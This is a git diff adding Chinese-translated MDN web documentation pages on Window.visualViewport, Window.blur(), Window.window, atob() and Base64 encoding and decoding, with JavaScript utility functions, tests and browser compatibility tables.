+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
+ {{CompatGeckoDesktop("19.0")}}
10.015.0[2]6.0[2]
+ 7.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
+ {{CompatGeckoMobile("19.0")}}
{{CompatVersionUnknown}}15.0[2]6.0[2]
+
+ +

[1] 从 Gecko 2 (Firefox 4) 到 包括Gecko 18, Gecko 返回一个不标准的nsIDOMMozURLProperty内部类型. 在实践中, 这是没有意义的.

+ +

[2] 在非标准名称webkitURL下实现。

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/window/visualviewport/index.html b/files/zh-cn/web/api/window/visualviewport/index.html new file mode 100644 index 0000000000..bc751840d9 --- /dev/null +++ b/files/zh-cn/web/api/window/visualviewport/index.html @@ -0,0 +1,89 @@ +--- +title: Window.visualViewport +slug: Web/API/Window/visualViewport +translation_of: Web/API/Window/visualViewport +--- +

{{SeeCompatTable}}{{APIRef("Visual Viewport")}}

+ +

 

+ +

{{domxref("Window")}} 接口的visualViewport只读属性返回一个{{domxref("VisualViewport")}}对象,该对象表示给定窗口的可视视口。

+ +

语法

+ +
var visualViewport = Window.visualViewport
+ +

+ +

一个 {{domxref("VisualViewport")}} 对象。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Visual Viewport','#dom-window-visualviewport','visualViewport')}}{{Spec2('Visual Viewport')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(47)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(47)}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/window/window.blur()/index.html b/files/zh-cn/web/api/window/window.blur()/index.html new file mode 100644 index 0000000000..0aebdbb367 --- /dev/null +++ b/files/zh-cn/web/api/window/window.blur()/index.html @@ -0,0 +1,39 @@ +--- +title: Window.blur() +slug: Web/API/Window/Window.blur() +translation_of: Web/API/Window/blur +--- +

{{APIRef}}

+ +

总结

+ +

将焦点移出顶层窗口。

+ +

语法

+ +
window.blur()
+ +

示例

+ +
window.blur();
+ +

注意

+ +

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/window/window/index.html b/files/zh-cn/web/api/window/window/index.html new file mode 100644 index 0000000000..e3cab55da4 --- /dev/null +++ b/files/zh-cn/web/api/window/window/index.html @@ -0,0 +1,65 @@ +--- +title: Window.window +slug: Web/API/Window/window +translation_of: Web/API/Window/window +--- +
{{APIRef}}
+ +

摘要

+ +

window对象的 window 属性指向这个window对象本身。因此以下表达式所返回的window对象都是同一个。

+ +
window.window
+window.window.window
+window.window.window.window
+  ...
+
+
+ +

在网页中,window对象也是一个全局对象。这意味着:

+ +
    +
  1. 脚本中的全局变量实际上是window对象的属性: +
    var global = {data: 0};
    +alert(global === window.global); // displays "true"
    +
    +
  2. +
  3. 不用写 window. 前缀就可以访问window对象的内置属性: +
    setTimeout("alert('Hi!')", 50); // equivalent to using window.setTimeout.
    +alert(window === window.window); // displays "true"
    +
    +
  4. +
+ +

将 window 属性指向该window对象本身的目的,是为了更容易引用全局对象。不然,就得在最开始写代码的时候进行手动赋值:var window = this; 。

+ +

另外一个原因是如果没有这个属性,就不能像这样方便的写:  {{domxref("window.open","window.open('http://google.com/')")}},而只能这样: open('http://google.com/')

+ +

使用该属性还有一个原因,有些库,特别是JavaScript模块希望能够提供OOP版本和非OOP版本。例如,如果引用了 this.window.location.href ,JavaScript 模块就可以在它定义的类里面定义一个 window 属性(因为默认没有全局性的 window 变量存在),这个属性可以在将window对象传进这个模块的类的构造器之后被创建。这样,这个类的方法中的 this.window 就指向了window对象。在没有命名空间的版本中,this.window 会重新指向window对象,从而很容易获取到文档的位置。还有一个优点,这个类(即使这个类定义在模块外面)的对象可以随意地改变对window的引用,而如果有一个写死了的window的引用就做不到这样。类内部的默认值仍然可以设置成当前的window对象。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('HTML WHATWG', '#dom-window', 'Window.window')}}{{Spec2('HTML WHATWG')}}和最新版 {{SpecName("HTML5.1")}}一致
{{SpecName('HTML5.1', 'browsers.html#dom-window', 'Window.window')}}{{Spec2('HTML5.1')}}和{{SpecName("HTML5 W3C")}}一致
{{SpecName('HTML5 W3C', 'browsers.html#dom-window', 'Window.window')}}{{Spec2('HTML5 W3C')}}第一个包含 Window.window 定义的快照
diff --git a/files/zh-cn/web/api/windowbase64/atob/index.html b/files/zh-cn/web/api/windowbase64/atob/index.html new file mode 100644 index 0000000000..2892e403d4 --- /dev/null +++ b/files/zh-cn/web/api/windowbase64/atob/index.html @@ -0,0 +1,78 @@ +--- +title: WindowOrWorkerGlobalScope.atob() +slug: Web/API/WindowBase64/atob +tags: + - API + - Base64 + - DOM + - WindowOrWorkerGlobalScope + - atob + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

+ +

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

+ +

语法

+ +
var decodedData = scope.atob(encodedData);
+ +

异常

+ +

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html new file mode 100644 index 0000000000..5da5d1e0f4 --- /dev/null +++ b/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html @@ -0,0 +1,605 @@ +--- +title: Base64的编码与解码 +slug: Web/API/WindowBase64/Base64_encoding_and_decoding +translation_of: Glossary/Base64 +--- +

Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

+ +

Base64编码普遍应用于需要通过被设计为处理文本数据的媒介上储存和传输二进制数据而需要编码该二进制数据的场景。这样是为了保证数据的完整并且不用在传输过程中修改这些数据。Base64 也被一些应用(包括使用 MIME 的电子邮件)和在 XML 中储存复杂数据时使用。 

+ +

在 JavaScript 中,有两个函数被分别用来处理解码和编码 base64 字符串:

+ + + +

atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

+ +

atob() 和 btoa() 均使用字符串。如果你想使用 ArrayBuffers,请参阅后文。

+ +

编码尺寸增加

+ +

每一个Base64字符实际上代表着6比特位。因此,3字节(一字节是8比特,3字节也就是24比特)的字符串/二进制文件可以转换成4个Base64字符(4x6 = 24比特)。

+ +

这意味着Base64格式的字符串或文件的尺寸约是原始尺寸的133%(增加了大约33%)。如果编码的数据很少,增加的比例可能会更高。例如:字符串"a"length === 1进行Base64编码后是"YQ=="length === 4,尺寸增加了300%。

+ + + + + + + + + + +
+

文档

+ +
+
data URIs
+
data URIs, 定义于 RFC 2397,用于在文档内嵌入小的文件。
+
Base64
+
维基百科上关于 Base64 的文章。
+
{{domxref("WindowBase64.atob","atob()")}}
+
解码一个Base64字符串。
+
{{domxref("WindowBase64.btoa","btoa()")}}
+
从一个字符串或者二进制数据编码一个Base64字符串。
+
"Unicode 问题"
+
在大多数浏览器里里,在一个Unicode字符串上调用btoa()会造成一个Character Out Of Range异常。这一段写了一些解决方案。
+
URIScheme
+
Mozilla支持的URI schemes列表。
+
StringView
+
这篇文章发布了一个我们做的库,目的在于: +
    +
  • 为字符串创建一个类C接口 (i.e. array of characters codes — ArrayBufferView in JavaScript) ,基于JavaScript ArrayBuffer 接口。
  • +
  • 为类字符串对象(目前为止为: stringViews) 创建一系列方法,它们严格按照数字数组工作,而不是不可变的字符串。
  • +
  • 可用于其它Unicode编码,和默认的 DOMStrings不同。
  • +
+
+
+ +

查看所有...

+
+

工具

+ + + +

View All...

+ + + + +
+ +

Unicode 问题

+ +

由于 DOMString 是16位编码的字符串,所以如果有字符超出了8位ASCII编码的字符范围时,在大多数的浏览器中对Unicode字符串调用 window.btoa 将会造成一个 Character Out Of Range 的异常。有很多种方法可以解决这个问题:

+ + + +

Solution #1 – JavaScript's UTF-16 => base64

+ +

A very fast and widely useable way to solve the unicode problem is by encoding JavaScript native UTF-16 strings directly into base64. Please visit the URL data:text/plain;charset=utf-16;base64,OCY5JjomOyY8Jj4mPyY= for a demonstration (copy the data uri, open a new tab, paste the data URI into the address bar, then press enter to go to the page). This method is particularly efficient because it does not require any type of conversion, except mapping a string into an array. The following code is also useful to get an ArrayBuffer from a Base64 string and/or viceversa (see below).

+ +
"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities (#1)
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
+|*|
+|*|  Author: madmurphy
+|*|
+\*/
+
+/* Array of bytes to base64 string decoding */
+
+function b64ToUint6 (nChr) {
+
+  return nChr > 64 && nChr < 91 ?
+      nChr - 65
+    : nChr > 96 && nChr < 123 ?
+      nChr - 71
+    : nChr > 47 && nChr < 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlockSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
+
+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
+    nMod4 = nInIdx & 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
+        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
+      }
+      nUint24 = 0;
+    }
+  }
+
+  return aBytes;
+}
+
+/* Base64 string to array encoding */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 < 26 ?
+      nUint6 + 65
+    : nUint6 < 52 ?
+      nUint6 + 71
+    : nUint6 < 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
+
+  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    /* Uncomment the following line in order to split the output in lines 76-character long: */
+    /*
+    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    */
+    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
+      nUint24 = 0;
+    }
+  }
+
+  return  eqLen === 0 ?
+      sB64Enc
+    :
+      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
+
+}
+
+ +

Tests

+ +
var myString = "☸☹☺☻☼☾☿";
+
+/* Part 1: Encode `myString` to base64 using native UTF-16 */
+
+var aUTF16CodeUnits = new Uint16Array(myString.length);
+Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = myString.charCodeAt(idx); });
+var sUTF16Base64 = base64EncArr(new Uint8Array(aUTF16CodeUnits.buffer));
+
+/* Show output */
+
+alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
+
+/* Part 2: Decode `sUTF16Base64` to UTF-16 */
+
+var sDecodedString = String.fromCharCode.apply(null, new Uint16Array(base64DecToArr(sUTF16Base64, 2).buffer));
+
+/* Show output */
+
+alert(sDecodedString); // "☸☹☺☻☼☾☿"
+ +

The produced string is fully portable, although represented as UTF-16. If you prefer UTF-8, see the next solution.

+ +

Appendix to Solution #1: Decode a Base64 string to Uint8Array or ArrayBuffer

+ +

The functions above let us also create uint8Arrays or arrayBuffers from base64-encoded strings:

+ +
var myArray = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
+
+var myBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
+
+alert(myBuffer.byteLength);
+ +
Note: The function base64DecToArr(sBase64[, nBlockSize]) returns an uint8Array of bytes. If your aim is to build a buffer of 16-bit / 32-bit / 64-bit raw data, use the nBlockSize argument, which is the number of bytes which the uint8Array.buffer.bytesLength property must result to be a multiple of (1 or omitted for ASCII, binary content, binary strings, UTF-8-encoded strings; 2 for UTF-16 strings; 4 for UTF-32 strings).
+ +

For a more complete library, see StringView – a C-like representation of strings based on typed arrays (source code available on GitHub).

+ +

Solution #2 – JavaScript's UTF-16 => UTF-8 => base64

+ +

This solution consists in converting a JavaScript's native UTF-16 string into a UTF-8 string and then encoding the latter into base64. This also grants that converting a pure ASCII string to base64 always produces the same output as the native btoa().

+ +
"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities (#2)
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
+|*|
+|*|  Author: madmurphy
+|*|
+\*/
+
+/* Array of bytes to base64 string decoding */
+
+function b64ToUint6 (nChr) {
+
+  return nChr > 64 && nChr < 91 ?
+      nChr - 65
+    : nChr > 96 && nChr < 123 ?
+      nChr - 71
+    : nChr > 47 && nChr < 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlockSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
+
+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
+    nMod4 = nInIdx & 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
+        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
+      }
+      nUint24 = 0;
+    }
+  }
+
+  return aBytes;
+}
+
+/* Base64 string to array encoding */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 < 26 ?
+      nUint6 + 65
+    : nUint6 < 52 ?
+      nUint6 + 71
+    : nUint6 < 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
+
+  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    /* Uncomment the following line in order to split the output in lines 76-character long: */
+    /*
+    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    */
+    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
+      nUint24 = 0;
+    }
+  }
+
+  return  eqLen === 0 ?
+      sB64Enc
+    :
+      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
+
+}
+
+/* UTF-8 array to DOMString and vice versa */
+
+function UTF8ArrToStr (aBytes) {
+
+  var sView = "";
+
+  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
+    nPart = aBytes[nIdx];
+    sView += String.fromCharCode(
+      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
+        /* (nPart - 252 << 30) may be not so safe in ECMAScript! So...: */
+        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
+        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
+        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
+        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
+        (nPart - 192 << 6) + aBytes[++nIdx] - 128
+      : /* nPart < 127 ? */ /* one byte */
+        nPart
+    );
+  }
+
+  return sView;
+
+}
+
+function strToUTF8Arr (sDOMStr) {
+
+  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
+
+  /* mapping... */
+
+  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
+    nChr = sDOMStr.charCodeAt(nMapIdx);
+    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
+  }
+
+  aBytes = new Uint8Array(nArrLen);
+
+  /* transcription... */
+
+  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
+    nChr = sDOMStr.charCodeAt(nChrIdx);
+    if (nChr < 128) {
+      /* one byte */
+      aBytes[nIdx++] = nChr;
+    } else if (nChr < 0x800) {
+      /* two bytes */
+      aBytes[nIdx++] = 192 + (nChr >>> 6);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x10000) {
+      /* three bytes */
+      aBytes[nIdx++] = 224 + (nChr >>> 12);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x200000) {
+      /* four bytes */
+      aBytes[nIdx++] = 240 + (nChr >>> 18);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x4000000) {
+      /* five bytes */
+      aBytes[nIdx++] = 248 + (nChr >>> 24);
+      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else /* if (nChr <= 0x7fffffff) */ {
+      /* six bytes */
+      aBytes[nIdx++] = 252 + (nChr >>> 30);
+      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    }
+  }
+
+  return aBytes;
+
+}
+ +

Tests

+ +
/* Tests */
+
+var sMyInput = "Base 64 \u2014 Mozilla Developer Network";
+
+var aMyUTF8Input = strToUTF8Arr(sMyInput);
+
+var sMyBase64 = base64EncArr(aMyUTF8Input);
+
+alert(sMyBase64); // "QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="
+
+var aMyUTF8Output = base64DecToArr(sMyBase64);
+
+var sMyOutput = UTF8ArrToStr(aMyUTF8Output);
+
+alert(sMyOutput); // "Base 64 — Mozilla Developer Network"
+ +

Solution #3 – JavaScript's UTF-16 => binary string => base64

+ +

The following is the fastest and most compact possible approach. The output is exactly the same produced by Solution #1 (UTF-16 encoded strings), but instead of rewriting {{domxref("WindowBase64.atob","atob()")}} and {{domxref("WindowBase64.btoa","btoa()")}} it uses the native ones. This is made possible by the fact that instead of using typed arrays as encoding/decoding inputs this solution uses binary strings as an intermediate format. It is a “dirty” workaround in comparison to Solution #1 (binary strings are a grey area), however it works pretty well and requires only a few lines of code.

+ +
"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities (#3)
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
+|*|
+|*|  Author: madmurphy
+|*|
+\*/
+
+function btoaUTF16 (sString) {
+
+	var aUTF16CodeUnits = new Uint16Array(sString.length);
+	Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = sString.charCodeAt(idx); });
+	return btoa(String.fromCharCode.apply(null, new Uint8Array(aUTF16CodeUnits.buffer)));
+
+}
+
+function atobUTF16 (sBase64) {
+
+	var sBinaryString = atob(sBase64), aBinaryView = new Uint8Array(sBinaryString.length);
+	Array.prototype.forEach.call(aBinaryView, function (el, idx, arr) { arr[idx] = sBinaryString.charCodeAt(idx); });
+	return String.fromCharCode.apply(null, new Uint16Array(aBinaryView.buffer));
+
+}
+ +

Tests

+ +
var myString = "☸☹☺☻☼☾☿";
+
+/* Part 1: Encode `myString` to base64 using native UTF-16 */
+
+var sUTF16Base64 = btoaUTF16(myString);
+
+/* Show output */
+
+alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
+
+/* Part 2: Decode `sUTF16Base64` to UTF-16 */
+
+var sDecodedString = atobUTF16(sUTF16Base64);
+
+/* Show output */
+
+alert(sDecodedString); // "☸☹☺☻☼☾☿"
+
+ +

For a cleaner solution that uses typed arrays instead of binary strings, see solutions #1 and #2.

+ +

Solution #4 – escaping the string before encoding it

+ +
function b64EncodeUnicode(str) {
+    // first we use encodeURIComponent to get percent-encoded UTF-8,
+    // then we convert the percent encodings into raw bytes which
+    // can be fed into btoa.
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
+        function toSolidBytes(match, p1) {
+            return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64EncodeUnicode('\n'); // "Cg=="
+
+ +

To decode the Base64-encoded value back into a String:

+ +
function b64DecodeUnicode(str) {
+    // Going backwards: from bytestream, to percent-encoding, to original string.
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+
+ +

Unibabel implements common conversions using this strategy.

+ +

Solution #5 – rewrite the DOMs atob() and btoa() using JavaScript's TypedArrays and UTF-8

+ +

Use a TextEncoder polyfill such as TextEncoding (also includes legacy windows, mac, and ISO encodings), TextEncoderLite, combined with a Buffer and a Base64 implementation such as base64-js or TypeScript version of base64-js for both modern browsers and Node.js.

+ +

When a native TextEncoder implementation is not available, the most light-weight solution would be to use Solution #3 because in addition to being much faster, Solution #3 also works in IE9 "out of the box." Alternatively, use TextEncoderLite with base64-js. Use the browser implementation when you can.

+ +

The following function implements such a strategy. It assumes base64-js imported as <script type="text/javascript" src="base64js.min.js"/>. Note that TextEncoderLite only works with UTF-8.

+ +
function Base64Encode(str, encoding = 'utf-8') {
+    var bytes = new (typeof TextEncoder === "undefined" ? TextEncoderLite : TextEncoder)(encoding).encode(str);
+    return base64js.fromByteArray(bytes);
+}
+
+function Base64Decode(str, encoding = 'utf-8') {
+    var bytes = base64js.toByteArray(str);
+    return new (typeof TextDecoder === "undefined" ? TextDecoderLite : TextDecoder)(encoding).decode(bytes);
+}
+
+ +

注意: TextEncoderLite 不能正确处理四字节 UTF-8 字符, 比如 '\uD842\uDFB7' 或缩写为  '\u{20BB7}' 。参见 issue
+ 可使用 text-encoding 作为替代。

+ +

某些场景下,以上经由 UTF-8 转换到 Base64 的实现在空间利用上不一定高效。当处理包含大量 U+0800-U+FFFF 区域间字符的文本时, UTF-8 输出结果长于 UTF-16 的,因为这些字符在 UTF-8 下占用三个字节而 UTF-16 是两个。在处理均匀分布 UTF-16 码点的 JavaScript 字符串时应考虑采用 UTF-16 替代 UTF-8 作为 Base64 结果的中间编码格式,这将减少 40% 尺寸。

+ +
+

译者注:下为陈旧翻译片段

+
+ + + +

方案 #1 – 编码之前转义(escape)字符串

+ +
function b64EncodeUnicode(str) {
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
+        return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+
+ +

把base64转换回字符串

+ +
function b64DecodeUnicode(str) {
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+ +

Unibabel 是一个包含了一些使用这种策略的通用转换的库。

+ +

方案 #6 – 用JavaScript的 TypedArray 和 UTF-8重写DOM的 atob() 和 btoa()

+ +

使用像TextEncoding(包含了早期(legacy)的windows,mac, 和 ISO 编码),TextEncoderLite 或者 Buffer 这样的文本编码器增强(polyfill)和Base64增强,比如base64-jsTypeScript 版本的  base64-js (适用于长青浏览器和 Node.js)。

+ +

最简单,最轻量级的解决方法就是使用 TextEncoderLite 和 base64-js.

+ +

想要更完整的库的话,参见 StringView – a C-like representation of strings based on typed arrays.

+ +

参见

